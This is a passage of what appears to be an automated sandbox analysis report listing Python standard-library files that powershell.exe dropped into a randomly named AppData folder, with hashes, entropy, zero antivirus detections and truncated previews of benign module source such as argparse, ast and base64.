              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):25856
              Entropy (8bit):4.576262974956046
              Encrypted:false
              SSDEEP:
              MD5:B4CB6BF5E35DC2F8A8D10014F66A72C0
              SHA1:8461CA8CFE93FBC0FC385A03428E9B248BE750C7
              SHA-256:770CD20E1D9381A3850401868BF1CA375C6BF5AEC7F8E031B6210DF98D789E3F
              SHA-512:775762E38D0CA8B954D37DF4BD8CAF76ACD97C3399C0774592D01494A2F2141C2C2EBB4DC29E2A40ACE01A81C46E5EC76FAB9744ABCFDFEC826BDDF83E61B5D2
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Strptime-related classes and functions.....CLASSES:.. LocaleTime -- Discovers and stores locale-specific time information.. TimeRE -- Creates regexes for pattern matching a string of text containing.. time information....FUNCTIONS:.. _getlang -- Figure out what language is being used for the locale.. strptime -- Calculates the time struct represented by the passed-in string...."""..import time..import locale..import calendar..from re import compile as re_compile..from re import IGNORECASE..from re import escape as re_escape..from datetime import (date as datetime_date,.. timedelta as datetime_timedelta,.. timezone as datetime_timezone)..from _thread import allocate_lock as _thread_allocate_lock....__all__ = []....def _getlang():.. # Figure out what the current language is set to... return locale.getlocale(locale.LC_TIME)....class LocaleTime(object):.. """Stores and handles locale-specific information relat

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_threading_local.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7462
              Entropy (8bit):4.6221334949688195
              Encrypted:false
              SSDEEP:
              MD5:2ACCB96019A97C9B237FA45AB4E67BBF
              SHA1:E1C573319C6E01E1222EAD90E5C34C58D22021EF
              SHA-256:27BB2BD201E6157EFDD807EC5E3F3C5A8E0EA2EA2E86ED475A59DE8C6442A0EB
              SHA-512:26F75E0A32F02E85C3258F7B37440FC83C775AB64B31497217A2090228CAE2EF732166B5E07865DDCC0D82FD69CF80EA2F3DA020C7FCA8F09E39390EB768F04D
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Thread-local objects.....(Note that this module provides a Python version of the threading.local.. class. Depending on the version of Python you're using, there may be a.. faster one available. You should always import the `local` class from.. `threading`.)....Thread-local objects support the management of thread-local data...If you have data that you want to be local to a thread, simply create..a thread-local object and use its attributes:.... >>> mydata = local().. >>> mydata.number = 42.. >>> mydata.number.. 42....You can also access the local-object's dictionary:.... >>> mydata.__dict__.. {'number': 42}.. >>> mydata.__dict__.setdefault('widgets', []).. [].. >>> mydata.widgets.. []....What's important about thread-local objects is that their data are..local to a thread. If we access the data in a different thread:.... >>> log = [].. >>> def f():.. ... items = sorted(mydata.__dict__.items()).. ... log.append(items).. ... mydata.number = 11.. ... l

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_weakrefset.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6129
              Entropy (8bit):4.19143974100249
              Encrypted:false
              SSDEEP:
              MD5:B63A969483B85C6E81E57B8FABE80F2F
              SHA1:8945995094A976581C83455D9ED14F2B81CB7212
              SHA-256:5B03D51D4CB46AA7EFFAD1B1ACE0847808E5A43F1EAE7CC9682284A8D0701A76
              SHA-512:C4352A0E90FBA11873D4CD61C9E9D978682DB1BBDAB0CFA668F1913DDFD4132791738AFC08EEC931CCC296DAD1B13DB24DBAC8339D235704A7A049AF30683C56
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:# Access WeakSet through the weakref module...# This code is separated-out because it is needed..# by abc.py to load everything else at startup.....from _weakref import ref..from types import Generiuseras....__all__ = ['WeakSet']......class _IterationGuard:.. # This context manager registers itself in the current iterators of the.. # weak container, such as to delay all removals until the context manager.. # exits... # This technique should be relatively thread-safe (since sets are)..... def __init__(self, weakcontainer):.. # Don't create cycles.. self.weakcontainer = ref(weakcontainer).... def __enter__(self):.. w = self.weakcontainer().. if w is not None:.. w._iterating.add(self).. return self.... def __exit__(self, e, t, b):.. w = self.weakcontainer().. if w is not None:.. s = w._iterating.. s.remove(self).. if not s:.. w._commit_removals()......class Weak

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\argparse.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):101137
              Entropy (8bit):4.306533315342896
              Encrypted:false
              SSDEEP:
              MD5:5CDD2DD02315B6DD0F093C4D785E3D96
              SHA1:06057E30C7F3E7804070A90739C3577FFB9B5AD6
              SHA-256:D30F7E5CA4A44F7BA9F1626E984B7099B42FEB603B9BA8E31635D9C889793EC1
              SHA-512:10D6E90BC739158597CF8AEA1616D8B02C2B72AD8EFADE9B3668A952179CC2A9AB5B92EDECB174821556F52EA0A9081575C90D2016DBFF6175D1F3E0A0F2284D
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:# Author: Steven J. Bethard <steven.bethard@gmail.com>...# New maintainer as of 29 August 2019: Raymond Hettinger <raymond.hettinger@gmail.com>...."""Command-line parsing library....This module is an optparse-inspired command-line parsing library that:.... - handles both optional and positional arguments.. - produces highly informative usage messages.. - supports parsers that dispatch to sub-parsers....The following is a simple usage example that sums integers from the..command-line and writes the result to a file::.... parser = argparse.ArgumentParser(.. description='sum the integers at the command line').. parser.add_argument(.. 'integers', metavar='int', nargs='+', type=int,.. help='an integer to be summed').. parser.add_argument(.. '--log', default=sys.stdout, type=argparse.FileType('w'),.. help='the file where the sum should be written').. args = parser.parse_args().. args.log.write('%s' % sum(args.integers)).. args.lo

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ast.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):61609
              Entropy (8bit):4.417126699054812
              Encrypted:false
              SSDEEP:
              MD5:38ECD2B58AF252AC5A2D14A5AC17333B
              SHA1:F5EC2EE9D098AF6432017029E2B14B0230581ADF
              SHA-256:A1D8E96B987376D7E0CE57587830EBAA7E06509EA528D666B409D5604D1EAA8D
              SHA-512:BACE88F6DA88662BBC5A49E6617478553C2FE287CE1D46CCA77483F63FBE82849EBA45824CEE7AA57FF4F820F1024E331AF51FE46E353535D9D68160DA424848
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:""".. ast.. ~~~.... The `ast` module helps Python applications to process trees of the Python.. abstract syntax grammar. The abstract syntax itself might change with.. each Python release; this module helps to find out programmatically what.. the current grammar looks like and allows modifications of it..... An abstract syntax tree can be generated by passing `ast.PyCF_ONLY_AST` as.. a flag to the `compile()` builtin function or by using the `parse()`.. function from this module. The result will be a tree of objects whose.. classes all inherit from `ast.AST`..... A modified abstract syntax tree can be compiled into a Python code object.. using the built-in `compile()` function..... Additionally various helper functions are provided that make working with.. the trees simpler. The main intention of the helper functions and this.. module in general is to provide an easy to use interface for libraries.. that work tightly with the python sy

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\asynchat.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):11835
              Entropy (8bit):4.533400669114703
              Encrypted:false
              SSDEEP:
              MD5:A089EF65FD800EEB88D57F8752C14409
              SHA1:31ADE2E4DEDE4D6B60CCA9A484858A5552A0E533
              SHA-256:8F64AACF08D17F0D9EE51BBB540A5D2662ACB0F7C68009E895AC39D8973039A4
              SHA-512:8D3DC6975E0DA00046C867E77D5C33D3197A7D4A5E5CECD43DC31B35C4D32B300BB3201A82AF4919A6A084A3540AD61DEC521DE7F405742BF6C323AA5047F6B9
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:# -*- Mode: Python; tab-width: 4 -*-..# Id: asynchat.py,v 2.26 2000/09/07 22:29:26 rushing Exp..# Author: Sam Rushing <rushing@nightmare.com>....# ======================================================================..# Copyright 1996 by Sam Rushing..#..# All Rights Reserved..#..# Permission to use, copy, modify, and distribute this software and..# its documentation for any purpose and without fee is hereby..# granted, provided that the above copyright notice appear in all..# copies and that both that copyright notice and this permission..# notice appear in supporting documentation, and that the name of Sam..# Rushing not be used in advertising or publicity pertaining to..# distribution of the software without specific, written prior..# permission...#..# SAM RUSHING DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,..# INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN..# NO EVENT SHALL SAM RUSHING BE LIABLE FOR ANY SPECIAL, IND

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\asyncore.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):20917
              Entropy (8bit):4.558999571418994
              Encrypted:false
              SSDEEP:
              MD5:392F12822B5A0A36504480D5B7DFC034
              SHA1:9180B8AA149971D3F96C7343F01307E3092A8A59
              SHA-256:8045DAC420E2A61BBA0474613F93282912A521AADDC027589158459DA2092469
              SHA-512:29F03D5411E003EC617CCB1B925A5C578B4BCD77FD34B6DE16EA592047975EED8FEDECD1C7E86082D3817B0A522436E93DB846025C72B33BBA9472D79EDD0E67
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:# -*- Mode: Python -*-..# Id: asyncore.py,v 2.51 2000/09/07 22:29:26 rushing Exp..# Author: Sam Rushing <rushing@nightmare.com>....# ======================================================================..# Copyright 1996 by Sam Rushing..#..# All Rights Reserved..#..# Permission to use, copy, modify, and distribute this software and..# its documentation for any purpose and without fee is hereby..# granted, provided that the above copyright notice appear in all..# copies and that both that copyright notice and this permission..# notice appear in supporting documentation, and that the name of Sam..# Rushing not be used in advertising or publicity pertaining to..# distribution of the software without specific, written prior..# permission...#..# SAM RUSHING DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,..# INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN..# NO EVENT SHALL SAM RUSHING BE LIABLE FOR ANY SPECIAL, INDIRECT OR..# CONSEQUENT

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\base64.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):21450
              Entropy (8bit):4.817384784161953
              Encrypted:false
              SSDEEP:
              MD5:430BEF083EDC3857987FA9FDFAD40A1B
              SHA1:53BD3144F2A93454D747A765AC63F14056428A19
              SHA-256:2BDCB6D9EDFD97C91BC8AB325FCC3226C71527AA444ADB0A4ED70B60C18C388D
              SHA-512:7C1B8EA49BA078D051F6F21F99D8E51DC25F790E3DAFF63F733124FC7CF89417A75A8F4565029B1F2EB17F545250E1087F04ECB064022907D2D59F6430912B3A
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:#! /usr/bin/env python3...."""Base16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings"""....# Modified 04-Oct-1995 by Jack Jansen to use binascii module..# Modified 30-Dec-2003 by Barry Warsaw to add full RFC 3548 support..# Modified 22-May-2007 by Guido van Rossum to use bytes everywhere....import re..import struct..import binascii......__all__ = [.. # Legacy interface exports traditional RFC 2045 Base64 encodings.. 'encode', 'decode', 'encodebytes', 'decodebytes',.. # Generalized interface for other encodings.. 'b64encode', 'b64decode', 'b32encode', 'b32decode',.. 'b32hexencode', 'b32hexdecode', 'b16encode', 'b16decode',.. # Base85 and Ascii85 encodings.. 'b85encode', 'b85decode', 'a85encode', 'a85decode',.. # Standard Base64 encoding.. 'standard_b64encode', 'standard_b64decode',.. # Some common Base64 alternatives. As referenced by RFC 3458, see thread.. # starting at:.. #.. # http://zgp.org/pipermail/p2p-hackers/2001-September/00

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\bdb.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):33287
              Entropy (8bit):4.376029848133808
              Encrypted:false
              SSDEEP:
              MD5:6C933F78BA56372D681B34FEEC71EEE5
              SHA1:BDC267A6CD41185C864E3594D6DBB5928F23910F
              SHA-256:B2FE296B24FAF056B199ECEFB3752088479C218429B9422D30E2E5C0CEF163A6
              SHA-512:028F20AF9575626691847B9882CAA9BAF7CD24C3E764CE66505173D2F904A422744247488540D895B797D51D7278C02C38310199E0C46F964B03061717762F7C
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Debugger basics"""....import fnmatch..import sys..import os..from inspect import CO_GENERATOR, CO_COROUTINE, CO_ASYNC_GENERATOR....__all__ = ["BdbQuit", "Bdb", "Breakpoint"]....GENERATOR_AND_COROUTINE_FLAGS = CO_GENERATOR | CO_COROUTINE | CO_ASYNC_GENERATOR......class BdbQuit(Exception):.. """Exception to give up completely."""......class Bdb:.. """Generic Python debugger base class..... This class takes care of details of the trace facility;.. a derived class should implement user interaction... The standard debugger class (pdb.Pdb) is an example..... The optional skip argument must be an iterable of glob-style.. module name patterns. The debugger will not step into frames.. that originate in a module that matches one of these patterns... Whether a frame is considered to originate in a certain module.. is determined by the __name__ in the frame globals... """.... def __init__(self, skip=None):.. self.skip = set(skip) if skip else None..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\binhex.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):15286
              Entropy (8bit):4.473768652352682
              Encrypted:false
              SSDEEP:
              MD5:5FC5580386DF83003AD1993BAC736976
              SHA1:3713A4E0B8CCD4BA68C90B0A2C9EB7FD45B6E901
              SHA-256:E2BE54DE2B60C5AE1097FDD617CFFA57543F0C27CBFCD35BED98056A8896112A
              SHA-512:E03BB610FAD318CEA0BD6325C3FC09E773C7A520B30D4B3FD9267479A25D92E7F55E007856B11C34857497296898AC3A8B1C0406AA07C456EFAF90AFB4E1F2F0
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Macintosh binhex compression/decompression.....easy interface:..binhex(inputfilename, outputfilename)..hexbin(inputfilename, outputfilename).."""....#..# Jack Jansen, CWI, August 1995...#..# The module is supposed to be as compatible as possible. Especially the..# easy interface should work "as expected" on any platform...# XXXX Note: currently, textfiles appear in mac-form on all platforms...# We seem to lack a simple character-translate in python...# (we should probably use ISO-Latin-1 on all but the mac platform)...# XXXX The simple routines are too simple: they expect to hold the complete..# files in-core. Should be fixed...# XXXX It would be nice to handle AppleDouble format on unix..# (for servers serving macs)...# XXXX I don't understand what happens when you get 0x90 times the same byte on..# input. The resulting code (xx 90 90) would appear to be interpreted as an..# escaped *value* of 0x90. All coders I've seen appear to ignore this nicety.....#..import binascii..import co

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\bisect.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3245
              Entropy (8bit):4.315031092069688
              Encrypted:false
              SSDEEP:
              MD5:83E7F736E1877AF35CF077675DE88849
              SHA1:F4EC527F0164CA35653C546D20D78680E359AADA
              SHA-256:05D6B239EE3D6114A682AA9A5EFB8F8B315CCE6FC2A5D6F1147192AB5A044F44
              SHA-512:A511F888A7BE2D58846F9DF8694699638797151EA992A954F982761102BA8C6DB5794F4CCFA3C8F36C997FF349C2EC3482E0353A71D4564958C12BFD2093DDAD
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Bisection algorithms."""......def insort_right(a, x, lo=0, hi=None, *, key=None):.. """Insert item x in list a, and keep it sorted assuming a is sorted..... If x is already in a, insert it to the right of the rightmost x..... Optional args lo (default 0) and hi (default len(a)) bound the.. slice of a to be searched... """.. if key is None:.. lo = bisect_right(a, x, lo, hi).. else:.. lo = bisect_right(a, key(x), lo, hi, key=key).. a.insert(lo, x)......def bisect_right(a, x, lo=0, hi=None, *, key=None):.. """Return the index where to insert item x in list a, assuming a is sorted..... The return value i is such that all e in a[:i] have e <= x, and all e in.. a[i:] have e > x. So if x already appears in the list, a.insert(i, x) will.. insert just after the rightmost x already there..... Optional args lo (default 0) and hi (default len(a)) bound the.. slice of a to be searched... """.... if lo < 0:.. raise ValueError('

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\bz2.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):12191
              Entropy (8bit):4.488567907611872
              Encrypted:false
              SSDEEP:
              MD5:C7F6B929829D1196DFC6C59BFA8BE4D5
              SHA1:2B0A3AF1F680F8D70E05A25AA8552A47E5109F7D
              SHA-256:A539FC503737C53D5A45272E33A435B8A6B7A8559BA6A425002978038096BD66
              SHA-512:63BFA9AD43141C609436B928F7DEBB5477188F1E7B30EBD6D9CC5080DB6D10FBF4E94C25BEC3E2C7DC8677D7BCD537B93550324A08B5376FD9E35184A8517E3B
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Interface to the libbzip2 compression library.....This module provides a file interface, classes for incremental..(de)compression, and functions for one-shot (de)compression..."""....__all__ = ["BZ2File", "BZ2Compressor", "BZ2Decompressor",.. "open", "compress", "decompress"]....__author__ = "Nadeem Vawda <nadeem.vawda@gmail.com>"....from builtins import open as _builtin_open..import io..import os..import _compression....from _bz2 import BZ2Compressor, BZ2Decompressor......_MODE_CLOSED = 0.._MODE_READ = 1..# Value 2 no longer used.._MODE_WRITE = 3......class BZ2File(_compression.BaseStream):.... """A file object providing transparent bzip2 (de)compression..... A BZ2File can act as a wrapper for an existing file object, or refer.. directly to a named file on disk..... Note that BZ2File provides a *binary* file interface - data read is.. returned as bytes, and data to be written should be given as bytes... """.... def __init__(self, filename, mo

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\cProfile.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6525
              Entropy (8bit):4.383466107396597
              Encrypted:false
              SSDEEP:
              MD5:E033728A638E731841FB31E026BF27F6
              SHA1:718766B787EE3EBD4627BB1EDEEEAFE328F9DF82
              SHA-256:8ED9EDFE153C6A3CCB3F0AAF1EBE57EE506DBDCF9ADC98063A9412B40AD78602
              SHA-512:34C9B6B2DA68028CB0242BB757604A6FF7FD2CD67534BFBC5D73282FD8043A92350E1D9E255BE064531D8F01E339F26EE983D1256293DEA48190AD76A6D0F20F
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:#! /usr/bin/env python3...."""Python interface for the 'lsprof' profiler... Compatible with the 'profile' module..."""....__all__ = ["run", "runctx", "Profile"]....import _lsprof..import profile as _pyprofile....# ____________________________________________________________..# Simple interface....def run(statement, filename=None, sort=-1):.. return _pyprofile._Utils(Profile).run(statement, filename, sort)....def runctx(statement, globals, locals, filename=None, sort=-1):.. return _pyprofile._Utils(Profile).runctx(statement, globals, locals,.. filename, sort)....run.__doc__ = _pyprofile.run.__doc__..runctx.__doc__ = _pyprofile.runctx.__doc__....# ____________________________________________________________....class Profile(_lsprof.Profiler):.. """Profile(timer=None, timeunit=None, subcalls=True, builtins=True).... Builds a profiler object using the specified timer function... The default timer is a fast built-in one based on r

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\calendar.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):25334
              Entropy (8bit):4.630646062928224
              Encrypted:false
              SSDEEP:
              MD5:BDF280E9D5F52895524695699119B833
              SHA1:B4AF7451AC4FD85D86C9262B44CA3C1072461B11
              SHA-256:36E622CAC77F97C83E44EEF3FF39B02DAF63B831E057679E1387F45B48C9BFBF
              SHA-512:FF884EB6927AB18BABD1B843FE6AAADC83A4F92E2606BC3B077D19729529C44C9C434A48323B2BAE20F255CE3609C89552FF335F03F1E21277F0E624AD1C0141
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Calendar printing functions....Note when comparing these calendars to the ones printed by cal(1): By..default, these calendars have Monday as the first day of the week, and..Sunday as the last (the European convention). Use setfirstweekday() to..set the first day of the week (0=Monday, 6=Sunday)."""....import sys..import datetime..import locale as _locale..from itertools import repeat....__all__ = ["IllegalMonthError", "IllegalWeekdayError", "setfirstweekday",.. "firstweekday", "isleap", "leapdays", "weekday", "monthrange",.. "monthcalendar", "prmonth", "month", "prcal", "calendar",.. "timegm", "month_name", "month_abbr", "day_name", "day_abbr",.. "Calendar", "TextCalendar", "HTMLCalendar", "LocaleTextCalendar",.. "LocaleHTMLCalendar", "weekheader",.. "MONDAY", "TUESDAY", "WEDNESDAY", "THURSDAY", "FRIDAY",.. "SATURDAY", "SUNDAY"]....# Exception raised for bad input (with string parameter for details)..error = Valu

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\cgi.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):35103
              Entropy (8bit):4.561073317486329
              Encrypted:false
              SSDEEP:
              MD5:8F647F8C3398EF82CCDF1BFF189E5396
              SHA1:9B561E19C640AB1B6177FF15D3DB65AFAF5355CA
              SHA-256:38088BEE5D627AD53A309DC1E66997DA87FEB238A5473A24E8568589226CDD31
              SHA-512:C12A3E0F1A099E4600295013CDF1071AE455C25CFB69147336C1251B96FF104EDA88EF429C364D13950B0E1C950B00C664ED14BE84F03BB6CC8654B254E21C83
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:#! /usr/local/bin/python....# NOTE: the above "/usr/local/bin/python" is NOT a mistake. It is..# intentionally NOT "/usr/bin/env python". On many systems..# (e.g. Solaris), /usr/local/bin is not in $PATH as passed to CGI..# scripts, and /usr/local/bin is the default directory where Python is..# installed, so /usr/bin/env would be unable to find python. Granted,..# binary installations by Linux vendors often install Python in..# /usr/bin. So let those vendors patch cgi.py to match their choice..# of installation....."""Support module for CGI (Common Gateway Interface) scripts.....This module defines a number of utilities for use by CGI scripts..written in Python..."""....# History..# -------..#..# Michael McLay started this module. Steve Majewski changed the..# interface to SvFormContentDict and FormContentDict. The multipart..# parsing was inspired by code submitted by Andreas Paepcke. Guido van..# Rossum rewrote, reformatted and documented the module and is currently..# respons

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\cgitb.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):12417
              Entropy (8bit):4.597855983527975
              Encrypted:false
              SSDEEP:
              MD5:96E289FA4C662E66654E57C8B7BCFCBA
              SHA1:941AD05DEEF8F2FA0D6FA425BB01D7EAD90DDCDA
              SHA-256:F0BC49E9C3410E447635E639E7C925298C063438E8243755084450963740BD8B
              SHA-512:2B5C269319F535017C5B0BB94E6C12F3C51FC6DCC9D9F2E960818D87E07FDB3D50B3E42FE1EB3364BF71ED8FF1FA730813104BAA2D3B50DDA23121654AF487F2
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""More comprehensive traceback formatting for Python scripts.....To enable this module, do:.... import cgitb; cgitb.enable()....at the top of your script. The optional arguments to enable() are:.... display - if true, tracebacks are displayed in the web browser.. logdir - if set, tracebacks are written to files in this directory.. context - number of lines of source code to show for each stack frame.. format - 'text' or 'html' controls the output format....By default, tracebacks are displayed but not saved, the context is 5 lines..and the output format is 'html' (for backwards compatibility with the..original use of this module)....Alternatively, if you have caught an exception and want cgitb to display it..for you, call cgitb.handler(). The optional argument to handler() is a..3-item tuple (etype, evalue, etb) just like the value of sys.exc_info()...The default handler displays output as HTML....."""..import inspect..import keyword..import linecache

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\chunk.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):5604
              Entropy (8bit):4.3736641383152
              Encrypted:false
              SSDEEP:
              MD5:9593CA4791DDE9A600B40AFE78A0A1D1
              SHA1:D17F6A3716407202553A1BED556096B965A47525
              SHA-256:F71F8B77021C6224A772C5F8C56041D5D114E78E099E315754E502257ADDE3EC
              SHA-512:EEB3A00A6773F19F1403E502DDC15177383B77D752213BE49ECE4EC1FEAE1CB80DBE0F958AA077DBCC7665A60FB522B57B807E079F73A0E6CC11202FEB1C3BF8
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Simple class to read IFF chunks.....An IFF chunk (used in formats such as AIFF, TIFF, RMFF (RealMedia File..Format)) has the following structure:....+----------------+..| ID (4 bytes) |..+----------------+..| size (4 bytes) |..+----------------+..| data |..| ... |..+----------------+....The ID is a 4-byte string which identifies the type of chunk.....The size field (a 32-bit value, encoded using big-endian byte order)..gives the size of the whole chunk, including the 8-byte header.....Usually an IFF-type file consists of one or more chunks. The proposed..usage of the Chunk class defined here is to instantiate an instance at..the start of each chunk and read from the instance until it reaches..the end, after which a new instance can be instantiated. At the end..of the file, creating a new instance will fail with an EOFError..exception.....Usage:..while True:.. try:.. chunk = Chunk(file).. except EOFError:.. break.. chunktype = chunk.get

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\cmd.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):15261
              Entropy (8bit):4.215201021902796
              Encrypted:false
              SSDEEP:
              MD5:876EE912FD5D3663B4B6E9F2A46ACFFA
              SHA1:F097BE06A4249B38C56E2B7E309A2D1C7B5B3CB3
              SHA-256:2AE247591ED62FEE5E0DDF05D97EDECB3ACE71B752B1A3DF84CD5CD7FEA9B37F
              SHA-512:54AEB21E831EBEE41AA5C8F5099B9C2C605B45F74A9C45982DB6294ADDF799C7C3646101CCB2977F5DF2EB9D5C847C81D3CD49DA09E1E26A91A63B4E08592186
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""A generic class to build line-oriented command interpreters.....Interpreters constructed with this class obey the following conventions:....1. End of file on input is processed as the command 'EOF'...2. A command is parsed out of each line by collecting the prefix composed.. of characters in the identchars member...3. A command `foo' is dispatched to a method 'do_foo()'; the do_ method.. is passed a single argument consisting of the remainder of the line...4. Typing an empty line repeats the last command. (Actually, it calls the.. method `emptyline', which may be overridden in a subclass.)..5. There is a predefined `help' method. Given an argument `topic', it.. calls the command `help_topic'. With no arguments, it lists all topics.. with defined help_ functions, broken into up to three topics; documented.. commands, miscellaneous help topics, and undocumented commands...6. The command '?' is a synonym for `help'. The command '!' is a synonym.. for `shell', if a do_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\code.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):10937
              Entropy (8bit):4.358655405051517
              Encrypted:false
              SSDEEP:
              MD5:FEDBEE2BB47F5372D60AD7EAF7610714
              SHA1:E5B59A93FBF7E34F0EBEDFC240FF5930CA3FE18A
              SHA-256:1944F39B81A75344487E1B393B948B6EA76FF96E15DA5D2A5D5E94EC000E0885
              SHA-512:6CACB563B693C6C0C7335252FA8B7EBE90852F5D71942602B1DADEADEE45E991430120993901D3B4D0C5008540B67C6AD02F0F5039F9C26EE7F194BF872B6FD4
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Utilities needed to emulate Python's interactive interpreter....."""....# Inspired by similar code by Jeff Epler and Fredrik Lundh.......import sys..import traceback..from codeop import CommandCompiler, compile_command....__all__ = ["InteractiveInterpreter", "InteractiveConsole", "interact",.. "compile_command"]....class InteractiveInterpreter:.. """Base class for InteractiveConsole..... This class deals with parsing and interpreter state (the user's.. namespace); it doesn't deal with input buffering or prompting or.. input file naming (the filename is always passed in explicitly)..... """.... def __init__(self, locals=None):.. """Constructor..... The optional 'locals' argument specifies the dictionary in.. which code will be executed; it defaults to a newly created.. dictionary with key "__name__" set to "__console__" and key.. "__doc__" set to None..... """.. if locals is None:.. locals = {"__n

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\codecs.py

              Download File
